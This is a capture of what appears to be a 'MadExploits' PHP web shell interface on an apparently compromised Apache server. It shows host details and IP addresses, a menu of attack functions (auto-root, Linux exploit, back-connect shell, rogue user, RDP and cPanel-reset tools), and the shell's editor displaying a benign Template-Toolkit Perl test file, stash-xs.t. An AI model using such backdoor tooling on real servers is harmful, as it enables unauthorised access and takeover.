Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.225
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
Template-Toolkit-3.009 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
lib
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
vmethods
[ DIR ]
drwxr-xr-x
README
3.15
KB
-rw-r--r--
anycase.t
2.16
KB
-rw-r--r--
args.t
2.41
KB
-rw-r--r--
assert.t
2.53
KB
-rw-r--r--
base.t
3.58
KB
-rw-r--r--
binop.t
4.82
KB
-rw-r--r--
block.t
2.71
KB
-rw-r--r--
block_duplicate.t
476
B
-rw-r--r--
blocks.t
2.2
KB
-rw-r--r--
capture.t
1.59
KB
-rw-r--r--
case.t
1.46
KB
-rw-r--r--
cgi.t
2.11
KB
-rw-r--r--
chomp.t
7.71
KB
-rw-r--r--
compile1.t
2.12
KB
-rw-r--r--
compile2.t
2.67
KB
-rw-r--r--
compile3.t
3.75
KB
-rw-r--r--
compile4.t
2.38
KB
-rw-r--r--
compile5.t
3.28
KB
-rw-r--r--
config.t
6.46
KB
-rw-r--r--
constants.t
5.07
KB
-rw-r--r--
context.t
5.87
KB
-rw-r--r--
datafile.t
1.63
KB
-rw-r--r--
date.t
6.73
KB
-rw-r--r--
date_offset.t
2.17
KB
-rw-r--r--
debug.t
3.86
KB
-rw-r--r--
directive.t
4.76
KB
-rw-r--r--
directry.t
5.48
KB
-rw-r--r--
document.t
3.57
KB
-rw-r--r--
dumper.t
1.34
KB
-rw-r--r--
error.t
953
B
-rw-r--r--
evalperl.t
3.73
KB
-rw-r--r--
exception.t
1.52
KB
-rw-r--r--
factory.t
1.4
KB
-rw-r--r--
file.t
2.87
KB
-rw-r--r--
fileline.t
2.96
KB
-rw-r--r--
filter.t
17.76
KB
-rw-r--r--
foreach.t
10.32
KB
-rw-r--r--
format.t
1.8
KB
-rw-r--r--
html.t
2.51
KB
-rw-r--r--
image.t
2.22
KB
-rw-r--r--
include.t
6.04
KB
-rw-r--r--
iterator.t
3.67
KB
-rw-r--r--
leak.t
5.01
KB
-rw-r--r--
list.t
4.41
KB
-rw-r--r--
macro.t
2.93
KB
-rw-r--r--
math.t
1.22
KB
-rw-r--r--
math_rand.t
476
B
-rw-r--r--
mtime-zero.t
1.04
KB
-rw-r--r--
object.t
7.23
KB
-rw-r--r--
outline.t
2.29
KB
-rw-r--r--
output.t
2.66
KB
-rw-r--r--
parser.t
4.74
KB
-rw-r--r--
parser2.t
981
B
-rw-r--r--
plugins.t
6.12
KB
-rw-r--r--
plusfile.t
1.91
KB
-rw-r--r--
pod.t
2.05
KB
-rw-r--r--
prefix.t
1.46
KB
-rw-r--r--
proc.t
867
B
-rw-r--r--
process-relative.t
2.05
KB
-rw-r--r--
process.t
1.88
KB
-rw-r--r--
process_dir.t
1.84
KB
-rw-r--r--
provider.t
11.08
KB
-rw-r--r--
ref.t
1.63
KB
-rw-r--r--
scalar.t
2.56
KB
-rw-r--r--
service.t
5.07
KB
-rw-r--r--
skel.t
947
B
-rw-r--r--
stash-xs-unicode.t
1.83
KB
-rw-r--r--
stash-xs.t
8.23
KB
-rw-r--r--
stash.t
7.91
KB
-rw-r--r--
stashc.t
1.6
KB
-rw-r--r--
stop.t
2.53
KB
-rw-r--r--
strcat.t
758
B
-rw-r--r--
strict.t
1.52
KB
-rw-r--r--
string.t
7.38
KB
-rw-r--r--
switch.t
3.83
KB
-rw-r--r--
table.t
2.68
KB
-rw-r--r--
tags.t
3.43
KB
-rw-r--r--
template.t
1.49
KB
-rw-r--r--
text.t
2.89
KB
-rw-r--r--
throw.t
1.94
KB
-rw-r--r--
tiedhash.t
5.09
KB
-rw-r--r--
trace_vars.t
1.11
KB
-rw-r--r--
try.t
9.83
KB
-rw-r--r--
unicode.t
4.55
KB
-rw-r--r--
url.t
4.08
KB
-rw-r--r--
vars.t
11.36
KB
-rw-r--r--
varsv1.t
8.96
KB
-rw-r--r--
view.t
17.43
KB
-rw-r--r--
while.t
3.18
KB
-rw-r--r--
wrap.t
2.65
KB
-rw-r--r--
wrapper.t
3.95
KB
-rw-r--r--
zz-plugin-cycle.t
1.36
KB
-rw-r--r--
zz-plugin-leak-gh-213.t
2.77
KB
-rw-r--r--
zz-plugin-leak-rt-46691.t
2.95
KB
-rw-r--r--
zz-plugin-leak.t
2.02
KB
-rw-r--r--
zz-pmv.t
1.15
KB
-rw-r--r--
zz-pod-coverage.t
1.64
KB
-rw-r--r--
zz-pod-kwalitee.t
776
B
-rw-r--r--
zz-stash-xs-leak.t
1.59
KB
-rw-r--r--
zz-url2.t
3.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stash-xs.t
#============================================================= -*-perl-*- # # t/stash-xs.t # # Template script testing (some elements of) the XS version of # Template::Stash # # Written by Andy Wardley <abw@wardley.org> # # Copyright (C) 1996-2009 Andy Wardley. All Rights Reserved. # # This is free software; you can redistribute it and/or modify it # under the same terms as Perl itself. # #======================================================================== use strict; use warnings; use lib qw( ./lib ../lib ../blib/lib ../blib/arch ./blib/lib ./blib/arch ); use Template::Constants qw( :status ); use Template; use Template::Test; use Template::Config; # only run the test when compiled with Template::Stash if ( $Template::Config::STASH ne 'Template::Stash::XS' ) { skip_all('Template::Config is not using Template::Stash::XS'); } require Template::Stash::XS; #------------------------------------------------------------------------ # define some simple objects for testing #------------------------------------------------------------------------ package Buggy; sub new { bless {}, shift } sub croak { my $self = shift; die @_ } package ListObject; package HashObject; sub hello { my $self = shift; return "Hello $self->{ planet }"; } sub goodbye { my $self = shift; return $self->no_such_method(); } sub now_is_the_time_to_test_a_very_long_method_to_see_what_happens { my $self = shift; return $self->this_method_does_not_exist(); } #----------------------------------------------------------------------- # another object without overloaded comparison. # http://rt.cpan.org/Ticket/Display.html?id=24044 #----------------------------------------------------------------------- package CmpOverloadObject; use overload ('cmp' => 'compare_overload', '<=>', 'compare_overload'); sub new { bless {}, shift }; sub hello { return "Hello"; } sub compare_overload { die "Mayhem!"; } package main; my $count = 20; my $data = { foo => 10, bar => { baz => 20, }, baz => sub { return { boz => ($count += 10), biz => (shift || '<undef>'), }; }, obj => bless({ name => 'an object', }, 'AnObject'), bop => sub { return ( bless ({ name => 'an object' }, 'AnObject') ) }, listobj => bless([10, 20, 30], 'ListObject'), hashobj => bless({ planet => 'World' }, 'HashObject'), cmp_ol => CmpOverloadObject->new(), clean => sub { my $error = shift; $error =~ s/(\s*\(.*?\))?\s+at.*$//; return $error; }, correct => sub { die @_ }, buggy => Buggy->new(), str_eval_die => sub { # This is to test bug RT#47929 eval "use No::Such::Module::Exists"; return "str_eval_die returned"; }, }; my $stash = Template::Stash::XS->new($data); match( $stash->get('foo'), 10 ); match( $stash->get([ 'bar', 0, 'baz', 0 ]), 20 ); match( $stash->get('bar.baz'), 20 ); match( $stash->get('bar(10).baz'), 20 ); match( $stash->get('baz.boz'), 30 ); match( $stash->get('baz.boz'), 40 ); match( $stash->get('baz.biz'), '<undef>' ); match( $stash->get('baz(50).biz'), '<undef>' ); # args are ignored #match( $stash->get('str_eval_die'), '' ); $stash->set( 'bar.buz' => 100 ); match( $stash->get('bar.buz'), 100 ); # test the dotop() method match( $stash->dotop({ foo => 10 }, 'foo'), 10 ); my $stash_dbg = Template::Stash::XS->new({ %$data, _DEBUG => 1 }); my $ttlist = [ 'default' => Template->new( STASH => $stash ), 'warn' => Template->new( STASH => $stash_dbg ), ]; test_expect(\*DATA, $ttlist, $data); __DATA__ -- test -- -- name scalar list method -- [% foo = 'bar'; foo.join %] -- expect -- bar -- test -- a: [% a %] -- expect -- a: -- test -- -- use warn -- [% TRY; a; CATCH; "ERROR: $error"; END %] -- expect -- ERROR: undef error - a is undefined -- test -- -- use default -- [% myitem = 'foo' -%] 1: [% myitem %] 2: [% myitem.item %] 3: [% myitem.item.item %] -- expect -- 1: foo 2: foo 3: foo -- test -- [% myitem = 'foo' -%] [% "* $item\n" FOREACH item = myitem -%] [% "+ $item\n" FOREACH item = myitem.list %] -- expect -- * foo + foo -- test -- [% myitem = 'foo' -%] [% myitem.hash.value %] -- expect -- foo -- test -- [% myitem = 'foo' mylist = [ 'one', myitem, 'three' ] global.mylist = mylist -%] [% mylist.item %] 0: [% mylist.item(0) %] 1: [% mylist.item(1) %] 2: [% mylist.item(2) %] -- expect -- one 0: one 1: foo 2: three -- test -- [% "* $item\n" FOREACH item = global.mylist -%] [% "+ $item\n" FOREACH item = global.mylist.list -%] -- expect -- * one * foo * three + one + foo + three -- test -- [% global.mylist.push('bar'); "* $item.key => $item.value\n" FOREACH item = global.mylist.hash -%] -- expect -- * one => foo * three => bar -- test -- [% myhash = { msg => 'Hello World', things => global.mylist, a => 'alpha' }; global.myhash = myhash -%] * [% myhash.item('msg') %] -- expect -- * Hello World -- test -- [% global.myhash.delete('things') -%] keys: [% global.myhash.keys.sort.join(', ') %] -- expect -- keys: a, msg -- test -- [% "* $item\n" FOREACH item IN global.myhash.items.sort -%] -- expect -- * a * alpha * Hello World * msg -- test -- [% items = [ 'foo', 'bar', 'baz' ]; take = [ 0, 2 ]; slice = items.$take; slice.join(', '); %] -- expect -- foo, baz -- test -- -- name slice of lemon -- [% items = { foo = 'one', bar = 'two', baz = 'three' } take = [ 'foo', 'baz' ]; slice = items.$take; slice.join(', '); %] -- expect -- one, three -- test -- -- name slice of toast -- [% items = { foo = 'one', bar = 'two', baz = 'three' } keys = items.keys.sort; items.${keys}.join(', '); %] -- expect -- two, three, one -- test -- [% i = 0 %] [%- a = [ 0, 1, 2 ] -%] [%- WHILE i < 3 -%] [%- i %][% a.$i -%] [%- i = i + 1 -%] [%- END %] -- expect -- 001122 -- test -- [%- a = [ "alpha", "beta", "gamma", "delta" ] -%] [%- b = "foo" -%] [%- a.$b -%] -- expect -- -- test -- [%- a = [ "alpha", "beta", "gamma", "delta" ] -%] [%- b = "2" -%] [%- a.$b -%] -- expect -- gamma -- test -- [% obj.name %] -- expect -- an object -- test -- [% obj.name.list.first %] -- expect -- an object -- test -- -- name bop -- [% bop.first.name %] -- expect -- an object -- test -- [% obj.items.first %] -- expect -- name -- test -- [% obj.items.1 %] -- expect -- an object -- test -- =[% size %]= -- expect -- == -- test -- [% USE Dumper; TRY; correct(["hello", "there"]); CATCH; error.info.join(', '); END; %] == [% TRY; buggy.croak(["hello", "there"]); CATCH; error.info.join(', '); END; %] -- expect -- hello, there == hello, there -- test -- [% hash = { } list = [ hash ] list.last.message = 'Hello World'; "message: $list.last.message\n" -%] -- expect -- message: Hello World # test Dave Howorth's patch (v2.15) which makes the stash more strict # about what it considers to be a missing method error -- test -- [% hashobj.hello %] -- expect -- Hello World -- test -- [% TRY; hashobj.goodbye; CATCH; "ERROR: "; clean(error); END %] -- expect -- ERROR: undef error - Can't locate object method "no_such_method" via package "HashObject" -- test -- [% TRY; hashobj.now_is_the_time_to_test_a_very_long_method_to_see_what_happens; CATCH; "ERROR: "; clean(error); END %] -- expect -- ERROR: undef error - Can't locate object method "this_method_does_not_exist" via package "HashObject" -- test -- [% foo = { "one" = "bar" "" = "empty" } -%] foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]} setting foo.one to baz [% fookey = "one" foo.$fookey = "baz" -%] foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]} setting foo."" to quux [% fookey = "" foo.$fookey = "full" -%] foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]} --expect -- foo is { "" = "empty" "one" = "bar" } setting foo.one to baz foo is { "" = "empty" "one" = "baz" } setting foo."" to quux foo is { "" = "full" "one" = "baz" } # Exercise the object with the funky overloaded comparison -- test -- [% cmp_ol.hello %] -- expect -- Hello -- test -- Before [% TRY; str_eval_die; CATCH; "caught error: $error"; END; %] After -- expect -- Before str_eval_die returned After -- test -- [% str_eval_die %] -- expect -- str_eval_die returned
Close